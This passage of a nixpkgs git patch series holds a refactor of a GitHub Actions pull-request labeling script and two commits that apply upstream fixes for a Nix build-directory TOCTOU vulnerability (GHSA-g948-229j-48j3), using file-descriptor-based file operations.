actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1 + env: + UPDATED_WITHIN: ${{ inputs.updatedWithin }} with: github-token: ${{ steps.app-token.outputs.token || github.token }} script: | @@ -93,9 +101,6 @@ jobs: github.hook.wrap('request', async (request, options) => { // Requests to the /rate_limit endpoint do not count against the rate limit. if (options.url == '/rate_limit') return request(options) - // Search requests are in a different resource group, which allows 30 requests / minute. - // We do less than a handful each run, so not implementing throttling for now. - if (options.url.startsWith('/search/')) return request(options) stats.requests++ if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method)) return writeLimits.schedule(request.bind(null, options)) @@ -123,68 +128,102 @@ jobs: const reservoirUpdater = setInterval(updateReservoir, 60 * 1000) process.on('uncaughtException', () => clearInterval(reservoirUpdater)) - async function handle(item) { - try { - const log = (k,v,skip) => { - core.info(`#${item.number} - ${k}: ${v}` + (skip ? ' (skipped)' : '')) - return skip - } + if (process.env.UPDATED_WITHIN && !/^\d+$/.test(process.env.UPDATED_WITHIN)) + throw new Error('Please enter "updated within" as integer in hours.') - log('Last updated at', item.updated_at) - stats.prs++ - log('URL', item.html_url) + const cutoff = new Date(await (async () => { + // Always run for Pull Request triggers, no cutoff since there will be a single + // response only anyway. 0 is the Unix epoch, so always smaller. + if (context.payload.pull_request?.number) return 0 - const pull_number = item.number - const issue_number = item.number + // Manually triggered via UI when updatedWithin is set. Will fallthrough to the last + // option if the updatedWithin parameter is set to 0, which is the default. + const updatedWithin = Number.parseInt(process.env.UPDATED_WITHIN, 10) + if (updatedWithin) return new Date().getTime() - updatedWithin * 60 * 60 * 1000 - // The search result is of a format that works for both issues and pull requests and thus - // does not have all fields of a full pull_request response. Notably, it is missing `head.sha`, - // which we need to fetch the workflow run below. When triggered via pull_request event, - // this field is already available. - // This API request is also important for the merge-conflict label, because it triggers the - // creation of a new test merge commit. This is needed to actually determine the state of a PR. - const pull_request = item.head ? item : (await github.rest.pulls.get({ - ...context.repo, - pull_number - })).data + // Normally a scheduled run, but could be workflow_dispatch, see above. Go back as far + // as the last successful run of this workflow to make sure we are not leaving anyone + // behind on GHA failures. + // Defaults to go back 1 hour on the first run. + return (await github.rest.actions.listWorkflowRuns({ + ...context.repo, + workflow_id: 'labels.yml', + event: 'schedule', + status: 'success', + exclude_pull_requests: true + })).data.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000 + })()) + core.info('cutoff timestamp: ' + cutoff.toISOString()) - const run_id = (await github.rest.actions.listWorkflowRuns({ - ...context.repo, - workflow_id: 'pr.yml', - event: 'pull_request_target', - status: 'success', - exclude_pull_requests: true, - head_sha: pull_request.head.sha - })).data.workflow_runs[0]?.id ?? - // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired. - (await github.rest.actions.listWorkflowRuns({ + // To simplify this action's logic we fetch the pull_request data again below, even if + // we are already in a pull_request event's context and would have the data readily + // available. We do this by filtering the list of pull requests with head and base + // branch - there can only be a single open Pull Request for any such combination. + const prEventCondition = !context.payload.pull_request ? undefined : { + // "label" is in the format of `user:branch` or `org:branch` + head: context.payload.pull_request.head.label, + base: context.payload.pull_request.base.ref + } + + const prs = await github.paginate( + github.rest.pulls.list, + { + ...context.repo, + state: 'open', + sort: 'updated', + direction: 'desc', + ...prEventCondition + }, + (response, done) => response.data.map(async (pull_request) => { + try { + const log = (k,v,skip) => { + core.info(`PR #${pull_request.number} - ${k}: ${v}` + (skip ? ' (skipped)' : '')) + return skip + } + + if (log('Last updated at', pull_request.updated_at, new Date(pull_request.updated_at) < cutoff)) + return done() + stats.prs++ + log('URL', pull_request.html_url) + + const run_id = (await github.rest.actions.listWorkflowRuns({ ...context.repo, - // In older PRs, we need eval.yml instead of pr.yml. - workflow_id: 'eval.yml', + workflow_id: 'pr.yml', event: 'pull_request_target', - status: 'success', + // For PR events, the workflow run is still in progress with this job itself. + status: prEventCondition ? 'in_progress' : 'success', exclude_pull_requests: true, head_sha: pull_request.head.sha - })).data.workflow_runs[0]?.id + })).data.workflow_runs[0]?.id ?? + // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired. + (await github.rest.actions.listWorkflowRuns({ + ...context.repo, + // In older PRs, we need eval.yml instead of pr.yml. + workflow_id: 'eval.yml', + event: 'pull_request_target', + status: 'success', + exclude_pull_requests: true, + head_sha: pull_request.head.sha + })).data.workflow_runs[0]?.id - // Newer PRs might not have run Eval to completion, yet. - // Older PRs might not have an eval.yml workflow, yet. - // In either case we continue without fetching an artifact on a best-effort basis. - log('Last eval run', run_id ?? '') + // Newer PRs might not have run Eval to completion, yet. We can skip them, because this + // job will be run as part of that Eval run anyway. + if (log('Last eval run', run_id ?? '', !run_id)) + return; - const artifact = run_id && (await github.rest.actions.listWorkflowRunArtifacts({ - ...context.repo, - run_id, - name: 'comparison' - })).data.artifacts[0] + const artifact = (await github.rest.actions.listWorkflowRunArtifacts({ + ...context.repo, + run_id, + name: 'comparison' + })).data.artifacts[0] - // Instead of checking the boolean artifact.expired, we will give us a minute to - // actually download the artifact in the next step and avoid that race condition. - // Older PRs, where the workflow run was already eval.yml, but the artifact was not - // called "comparison", yet, will skip the download. - const expired = !artifact || new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000) - log('Artifact expires at', artifact?.expires_at ?? '') - if (!expired) { + // Instead of checking the boolean artifact.expired, we will give us a minute to + // actually download the artifact in the next step and avoid that race condition. + // Older PRs, where the workflow run was already eval.yml, but the artifact was not + // called "comparison", yet, will be skipped as well. + const expired = new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000) + if (log('Artifact expires at', artifact?.expires_at ?? '', expired)) + return; stats.artifacts++ await artifactClient.downloadArtifact(artifact.id, { @@ -193,82 +232,39 @@ jobs: repositoryOwner: context.repo.owner, token: core.getInput('github-token') }, - path: path.resolve(pull_number.toString()), + path: path.resolve(pull_request.number.toString()), expectedHash: artifact.digest }) - } - // Create a map (Label -> Boolean) of all currently set labels. - // Each label is set to True and can be disabled later. - const before = Object.fromEntries( - (await github.paginate(github.rest.issues.listLabelsOnIssue, { - ...context.repo, - issue_number - })) - .map(({ name }) => [name, true]) - ) - - const approvals = new Set( - (await github.paginate(github.rest.pulls.listReviews, { - ...context.repo, - pull_number - })) - .filter(review => review.state == 'APPROVED') - .map(review => review.user?.id) - ) - - const latest_event_at = new Date( - (await github.paginate( - github.rest.issues.listEventsForTimeline, - { + // Create a map (Label -> Boolean) of all currently set labels. + // Each label is set to True and can be disabled later. + const before = Object.fromEntries( + (await github.paginate(github.rest.issues.listLabelsOnIssue, { ...context.repo, - issue_number, - per_page: 100 - } - )) - // We also ignore base_ref_force_pushed, which will not happen in nixpkgs, but - // is very useful for testing in forks. - .findLast(({ event }) => !['labeled', 'unlabeled', 'base_ref_force_pushed'].includes(event)) - ?.created_at ?? item.created_at - ) - const stale_at = new Date(new Date().setDate(new Date().getDate() - 180)) + issue_number: pull_request.number + })) + .map(({ name }) => [name, true]) + ) - // Manage most of the labels, without eval results - const after = Object.assign( - {}, - before, - { - // We intentionally don't use the mergeable or mergeable_state attributes. - // Those have an intermediate state while the test merge commit is created. - // This doesn't work well for us, because we might have just triggered another - // test merge commit creation by request the pull request via API at the start - // of this function. - // The attribute merge_commit_sha keeps the old value of null or the hash *until* - // the new test merge commit has either successfully been created or failed so. - // This essentially means we are updating the merge conflict label in two steps: - // On the first pass of the day, we just fetch the pull request, which triggers - // the creation. At this stage, the label is likely not updated, yet. - // The second pass will then read the result from the first pass and set the label. - '2.status: merge conflict': !pull_request.merge_commit_sha, - '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at, - '12.approvals: 1': approvals.size == 1, - '12.approvals: 2': approvals.size == 2, - '12.approvals: 3+': approvals.size >= 3, - '12.first-time contribution': - [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association), - } - ) + const approvals = new Set( + (await github.paginate(github.rest.pulls.listReviews, { + ...context.repo, + pull_number: pull_request.number + })) + .filter(review => review.state == 'APPROVED') + .map(review => review.user?.id) + ) - // Manage labels based on eval results - if (!expired) { const maintainers = new Set(Object.keys( - JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8')) + JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8')) ).map(m => Number.parseInt(m, 10))) - const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels + const evalLabels = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels - Object.assign( - after, + // Manage the labels + const after = Object.assign( + {}, + before, // Ignore `evalLabels` if it's an array. // This can happen for older eval runs, before we switched to objects. // The old eval labels would have been set by the eval run, @@ -276,104 +272,41 @@ jobs: // TODO: Simplify once old eval results have expired (~2025-10) (Array.isArray(evalLabels) ? undefined : evalLabels), { + '12.approvals: 1': approvals.size == 1, + '12.approvals: 2': approvals.size == 2, + '12.approvals: 3+': approvals.size >= 3, '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)), + '12.first-time contribution': + [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association), } ) + + // No need for an API request, if all labels are the same. + const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name]) + if (log('Has changes', hasChanges, !hasChanges)) + return; + + // Skipping labeling on a pull_request event, because we have no privileges. + const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name) + if (log('Set labels', labels, context.eventName == 'pull_request')) + return; + + await github.rest.issues.setLabels({ + ...context.repo, + issue_number: pull_request.number, + labels + }) + } catch (cause) { + throw new Error(`Labeling PR #${pull_request.number} failed.`, { cause }) } + }) + ); - // No need for an API request, if all labels are the same. - const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name]) - if (log('Has changes', hasChanges, !hasChanges)) - return; + (await Promise.allSettled(prs.flat())) + .filter(({ status }) => status == 'rejected') + .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`)) - // Skipping labeling on a pull_request event, because we have no privileges. - const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name) - if (log('Set labels', labels, context.eventName == 'pull_request')) - return; - - await github.rest.issues.setLabels({ - ...context.repo, - issue_number, - labels - }) - } catch (cause) { - throw new Error(`Labeling #${item.number} failed.`, { cause }) - } - } - - if (context.payload.pull_request) { - await handle(context.payload.pull_request) - } else { - const workflowData = (await github.rest.actions.listWorkflowRuns({ - ...context.repo, - workflow_id: 'labels.yml', - event: 'schedule', - status: 'success', - exclude_pull_requests: true, - per_page: 1 - })).data - - // Go back as far as the last successful run of this workflow to make sure - // we are not leaving anyone behind on GHA failures. - // Defaults to go back 1 hour on the first run. - const cutoff = new Date(workflowData.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000) - core.info('cutoff timestamp: ' + cutoff.toISOString()) - - const updatedItems = await github.paginate( - github.rest.search.issuesAndPullRequests, - { - q: [ - `repo:"${process.env.GITHUB_REPOSITORY}"`, - 'type:pr', - 'is:open', - `updated:>=${cutoff.toISOString()}` - ].join(' AND '), - // TODO: Remove in 2025-10, when it becomes the default. - advanced_search: true - } - ) - - const allOptions = { - q: [ - `repo:"${process.env.GITHUB_REPOSITORY}"`, - 'type:pr', - 'is:open' - ].join(' AND '), - sort: 'created', - direction: 'asc', - // TODO: Remove in 2025-10, when it becomes the default. - advanced_search: true - } - - const { total_count: total_pulls } = (await github.rest.search.issuesAndPullRequests({ - ...allOptions, - per_page: 1 - })).data - const { total_count: total_runs } = workflowData - const allItems = (await github.rest.search.issuesAndPullRequests({ - ...allOptions, - per_page: 100, - // We iterate through pages of 100 items across scheduled runs. With currently ~7000 open PRs and - // up to 6*24=144 scheduled runs per day, we hit every PR twice each day. - // We might not hit every PR on one iteration, because the pages will shift slightly when - // PRs are closed or merged. We assume this to be OK on the bigger scale, because a PR which was - // missed once, would have to move through the whole page to be missed again. This is very unlikely, - // so it should certainly be hit on the next iteration. - // TODO: Evaluate after a while, whether the above holds still true and potentially implement - // an overlap between runs. - page: total_runs % Math.ceil(total_pulls / 100) - })).data.items - - // Some items might be in both search results, so filtering out duplicates as well. - const items = [].concat(updatedItems, allItems) - .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number)) - - ;(await Promise.allSettled(items.map(handle))) - .filter(({ status }) => status == 'rejected') - .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`)) - - core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`) - } + core.notice(`Processed ${stats.prs} PRs, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`) clearInterval(reservoirUpdater) - name: Log current API rate limits From 3d27c5f2485588fd7f61eb2e0ead168d2b94addc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Sun, 22 Jun 2025 18:50:02 +0200 Subject: [PATCH 326/390] nix_2_24: add patch for GHSA-g948-229j-48j3 This addresses a TOCTOU (Time-of-Check to Time-of-Use) vulnerability in Nix's build system that could potentially allow privilege escalation or unauthorized file access during the build process. The patch includes: - Safe file operations using file descriptors - Secure temporary directory handling - Safe chown operations - PassAsFile security improvements - Path validation fixes --- pkgs/tools/package-management/nix/default.nix | 1 + .../patches/ghsa-g948-229j-48j3-2.24.patch | 436 ++++++++++++++++++ 2 files changed, 437 insertions(+) create mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index 7d3c6fbfcc59..839b6e0b3127 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -171,6 +171,7 @@ lib.makeExtensible ( nix_2_24 = commonAutoconf { version = "2.24.14"; hash = "sha256-SthMCsj6POjawLnJq9+lj/UzObX9skaeN1UGmMZiwTY="; + patches = [ ./patches/ghsa-g948-229j-48j3-2.24.patch ]; self_attribute_name = "nix_2_24"; }; diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch new file mode 100644 index 000000000000..27b16dc6b8c6 --- /dev/null +++ b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.24.patch @@ -0,0 +1,436 @@ +From b0fab9f90b397a2b02f41df5f467ae3cf8b91c3c Mon Sep 17 00:00:00 2001 +From: Eelco Dolstra +Date: Thu, 19 Jun 2025 16:20:34 +0200 +Subject: [PATCH] Fixes for GHSA-g948-229j-48j3 +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Squashed commit of the following: + +commit 04fff3a637d455cbb1d75937a235950e43008db9 +Author: Eelco Dolstra +Date: Thu Jun 12 12:30:32 2025 +0200 + + Chown structured attr files safely + +commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5 +Author: Eelco Dolstra +Date: Thu Jun 12 12:14:04 2025 +0200 + + Replace 'bool sync' with an enum for clarity + + And drop writeFileAndSync(). + +commit 7ae0141f328d8e8e1094be24665789c05f974ba6 +Author: Eelco Dolstra +Date: Thu Jun 12 11:35:28 2025 +0200 + + Drop guessOrInventPathFromFD() + + No need to do hacky stuff like that when we already know the original path. + +commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08 +Author: Eelco Dolstra +Date: Thu Jun 12 11:15:58 2025 +0200 + + Tweak comment + +commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848 +Author: Raito Bezarius +Date: Thu Mar 27 12:22:26 2025 +0100 + + libstore: ensure that temporary directory is always 0o000 before deletion + + In the case the deletion fails, we should ensure that the temporary + directory cannot be used for nefarious purposes. + + Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120 + Signed-off-by: Raito Bezarius + +commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e +Author: Raito Bezarius +Date: Wed Mar 26 12:42:55 2025 +0100 + + libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds + + When calling `_deletePath` with a parent file descriptor, `openat` is + made effective by using relative paths to the directory file descriptor. + + To avoid the problem, the signature is changed to resist misuse with an + assert in the prologue of the function. + + Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 + Signed-off-by: Raito Bezarius + +commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea +Author: Raito Bezarius +Date: Wed Mar 26 01:07:47 2025 +0100 + + libstore: ensure that `passAsFile` is created in the original temp dir + + This ensures that `passAsFile` data is created inside the expected + temporary build directory by `openat()` from the parent directory file + descriptor. + + This avoids a TOCTOU which is part of the attack chain of CVE-????. + + Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a + Signed-off-by: Raito Bezarius + +commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018 +Author: Raito Bezarius +Date: Wed Mar 26 01:06:03 2025 +0100 + + libutil: writeFile variant for file descriptors + + `writeFile` lose its `sync` boolean flag to make things simpler. + + A new `writeFileAndSync` function is created and all call sites are + converted to it. + + Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 + Signed-off-by: Raito Bezarius + +commit 732bd9b98cabf4aaf95a01fd318923de303f9996 +Author: Raito Bezarius +Date: Wed Mar 26 01:05:34 2025 +0100 + + libstore: chown to builder variant for file descriptors + + We use it immediately for the build temporary directory. + + Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 + Signed-off-by: Raito Bezarius + +commit 962c65f8dcd5570dd92c72370a862c7b38942e0d +Author: Raito Bezarius +Date: Wed Mar 26 01:04:59 2025 +0100 + + libstore: open build directory as a dirfd as well + + We now keep around a proper AutoCloseFD around the temporary directory + which we plan to use for openat operations and avoiding the build + directory being swapped out while we are doing something else. + + Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a + Signed-off-by: Raito Bezarius + +commit c9b42462b75b5a37ee6564c2b53cff186c8323da +Author: Raito Bezarius +Date: Wed Mar 26 01:04:12 2025 +0100 + + libutil: guess or invent a path from file descriptors + + This is useful for certain error recovery paths (no pun intended) that + does not thread through the original path name. + + Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e + Signed-off-by: Raito Bezarius + +Signed-off-by: Jörg Thalheim +--- + src/libstore/local-store.cc | 6 +-- + .../unix/build/local-derivation-goal.cc | 46 ++++++++++++++---- + .../unix/build/local-derivation-goal.hh | 20 ++++++++ + src/libutil/file-system.cc | 47 +++++++++++-------- + src/libutil/file-system.hh | 8 +++- + 5 files changed, 94 insertions(+), 33 deletions(-) + +diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc +index c6e3af456..c5489444e 100644 +--- a/src/libstore/local-store.cc ++++ b/src/libstore/local-store.cc +@@ -187,7 +187,7 @@ void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd) + txn.commit(); + } + +- writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, true); ++ writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, FsSync::Yes); + lockFile(lockFd.get(), ltRead, true); + } + } +@@ -345,7 +345,7 @@ LocalStore::LocalStore( + else if (curSchema == 0) { /* new store */ + curSchema = nixSchemaVersion; + openDB(*state, true); +- writeFile(schemaPath, fmt("%1%", curSchema), 0666, true); ++ writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes); + } + + else if (curSchema < nixSchemaVersion) { +@@ -394,7 +394,7 @@ LocalStore::LocalStore( + txn.commit(); + } + +- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); ++ writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes); + + lockFile(globalLock.get(), ltRead, true); + } +diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc +index f8824e9ce..82c79f361 100644 +--- a/src/libstore/unix/build/local-derivation-goal.cc ++++ b/src/libstore/unix/build/local-derivation-goal.cc +@@ -526,7 +526,14 @@ void LocalDerivationGoal::startBuilder() + } else { + tmpDir = topTmpDir; + } +- chownToBuilder(tmpDir); ++ ++ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to ++ POSIX semantics.*/ ++ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; ++ if (!tmpDirFd) ++ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); ++ ++ chownToBuilder(tmpDirFd.get(), tmpDir); + + for (auto & [outputName, status] : initialOutputs) { + /* Set scratch path we'll actually use during the build. +@@ -1110,9 +1117,7 @@ void LocalDerivationGoal::initTmpDir() { + } else { + auto hash = hashString(HashAlgorithm::SHA256, i.first); + std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false); +- Path p = tmpDir + "/" + fn; +- writeFile(p, rewriteStrings(i.second, inputRewrites)); +- chownToBuilder(p); ++ writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites)); + env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; + } + } +@@ -1217,11 +1222,9 @@ void LocalDerivationGoal::writeStructuredAttrs() + + auto jsonSh = writeStructuredAttrsShell(json); + +- writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites)); +- chownToBuilder(tmpDir + "/.attrs.sh"); ++ writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites)); + env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh"; +- writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites)); +- chownToBuilder(tmpDir + "/.attrs.json"); ++ writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites)); + env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json"; + } + } +@@ -1730,6 +1733,24 @@ void setupSeccomp() + #endif + } + ++void LocalDerivationGoal::chownToBuilder(int fd, const Path & path) ++{ ++ if (!buildUser) return; ++ if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1) ++ throw SysError("cannot change ownership of file '%1%'", path); ++} ++ ++void LocalDerivationGoal::writeBuilderFile( ++ const std::string & name, ++ std::string_view contents) ++{ ++ auto path = std::filesystem::path(tmpDir) / name; ++ AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; ++ if (!fd) ++ throw SysError("creating file %s", path); ++ writeFile(fd, path, contents); ++ chownToBuilder(fd.get(), path); ++} + + void LocalDerivationGoal::runChild() + { +@@ -3006,6 +3027,15 @@ void LocalDerivationGoal::checkOutputs(const std::mapisBuiltin()) { +diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh +index bf25cf2a6..69c517c4a 100644 +--- a/src/libstore/unix/build/local-derivation-goal.hh ++++ b/src/libstore/unix/build/local-derivation-goal.hh +@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal + */ + Path topTmpDir; + ++ /** ++ * The file descriptor of the temporary directory. ++ */ ++ AutoCloseFD tmpDirFd; ++ + /** + * The path of the temporary directory in the sandbox. + */ +@@ -232,9 +237,24 @@ struct LocalDerivationGoal : public DerivationGoal + + /** + * Make a file owned by the builder. ++ * ++ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. ++ * It's only safe to call in a child of a directory only visible to the owner. + */ + void chownToBuilder(const Path & path); + ++ /** ++ * Make a file owned by the builder addressed by its file descriptor. ++ */ ++ void chownToBuilder(int fd, const Path & path); ++ ++ /** ++ * Create a file in `tmpDir` owned by the builder. ++ */ ++ void writeBuilderFile( ++ const std::string & name, ++ std::string_view contents); ++ + int getChildStatus() override; + + /** +diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc +index 8ec38e73b..554214d66 100644 +--- a/src/libutil/file-system.cc ++++ b/src/libutil/file-system.cc +@@ -247,7 +247,7 @@ void readFile(const Path & path, Sink & sink) + } + + +-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) ++void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync) + { + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT + // TODO +@@ -257,22 +257,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) + , mode)); + if (!fd) + throw SysError("opening file '%1%'", path); ++ ++ writeFile(fd, path, s, mode, sync); ++ ++ /* Close explicitly to propagate the exceptions. */ ++ fd.close(); ++} ++ ++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync) ++{ ++ assert(fd); + try { + writeFull(fd.get(), s); ++ ++ if (sync == FsSync::Yes) ++ fd.fsync(); ++ + } catch (Error & e) { +- e.addTrace({}, "writing file '%1%'", path); ++ e.addTrace({}, "writing file '%1%'", origPath); + throw; + } +- if (sync) +- fd.fsync(); +- // Explicitly close to make sure exceptions are propagated. +- fd.close(); +- if (sync) +- syncParent(path); + } + +- +-void writeFile(const Path & path, Source & source, mode_t mode, bool sync) ++void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync) + { + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT + // TODO +@@ -296,11 +303,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) + e.addTrace({}, "writing file '%1%'", path); + throw; + } +- if (sync) ++ if (sync == FsSync::Yes) + fd.fsync(); + // Explicitly close to make sure exceptions are propagated. + fd.close(); +- if (sync) ++ if (sync == FsSync::Yes) + syncParent(path); + } + +@@ -318,7 +325,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + #ifndef _WIN32 + checkInterrupt(); + +- std::string name(baseNameOf(path.native())); ++ std::string name(path.filename()); ++ assert(name != "." && name != ".." && !name.empty()); + + struct stat st; + if (fstatat(parentfd, name.c_str(), &st, +@@ -359,7 +367,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + throw SysError("chmod '%1%'", path); + } + +- int fd = openat(parentfd, path.c_str(), O_RDONLY); ++ int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW); + if (fd == -1) + throw SysError("opening directory '%1%'", path); + AutoCloseDir dir(fdopendir(fd)); +@@ -371,7 +379,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + checkInterrupt(); + std::string childName = dirent->d_name; + if (childName == "." || childName == "..") continue; +- _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); ++ _deletePath(dirfd(dir.get()), path / childName, bytesFreed); + } + if (errno) throw SysError("reading directory '%1%'", path); + } +@@ -389,14 +397,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + + static void _deletePath(const fs::path & path, uint64_t & bytesFreed) + { +- Path dir = dirOf(path.string()); +- if (dir == "") +- dir = "/"; ++ assert(path.is_absolute()); ++ assert(path.parent_path() != path); + +- AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); ++ AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY)); + if (!dirfd) { + if (errno == ENOENT) return; +- throw SysError("opening directory '%1%'", path); ++ throw SysError("opening directory %s", path.parent_path()); + } + + _deletePath(dirfd.get(), path, bytesFreed); +diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh +index ed1112c7e..32b84456d 100644 +--- a/src/libutil/file-system.hh ++++ b/src/libutil/file-system.hh +@@ -148,12 +148,16 @@ Descriptor openDirectory(const std::filesystem::path & path); + std::string readFile(const Path & path); + void readFile(const Path & path, Sink & sink); + ++enum struct FsSync { Yes, No }; ++ + /** + * Write a string to a file. + */ +-void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); ++void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); ++ ++void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No); + +-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); ++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); + + /** + * Flush a file's parent directory to disk +-- +2.44.1 + From 639ad310605baa85093cdb0692759aedaaa02780 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Sun, 22 Jun 2025 18:50:46 +0200 Subject: [PATCH 327/390] nix_2_26: add patch for GHSA-g948-229j-48j3 This addresses a TOCTOU (Time-of-Check to Time-of-Use) vulnerability in Nix's build system that could potentially allow privilege escalation or unauthorized file access during the build process. The patch includes: - Safe file operations using file descriptors - Secure temporary directory handling - Safe chown operations - PassAsFile security improvements - Path validation fixes --- pkgs/tools/package-management/nix/default.nix | 1 + .../patches/ghsa-g948-229j-48j3-2.26.patch | 463 ++++++++++++++++++ 2 files changed, 464 insertions(+) create mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index 839b6e0b3127..0096e514d7b5 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -178,6 +178,7 @@ lib.makeExtensible ( nix_2_26 = commonMeson { version = "2.26.3"; hash = "sha256-5ZV8YqU8mfFmoAMiUEuBqNwk0T3vUR//x1D12BiYCeY="; + patches = [ ./patches/ghsa-g948-229j-48j3-2.26.patch 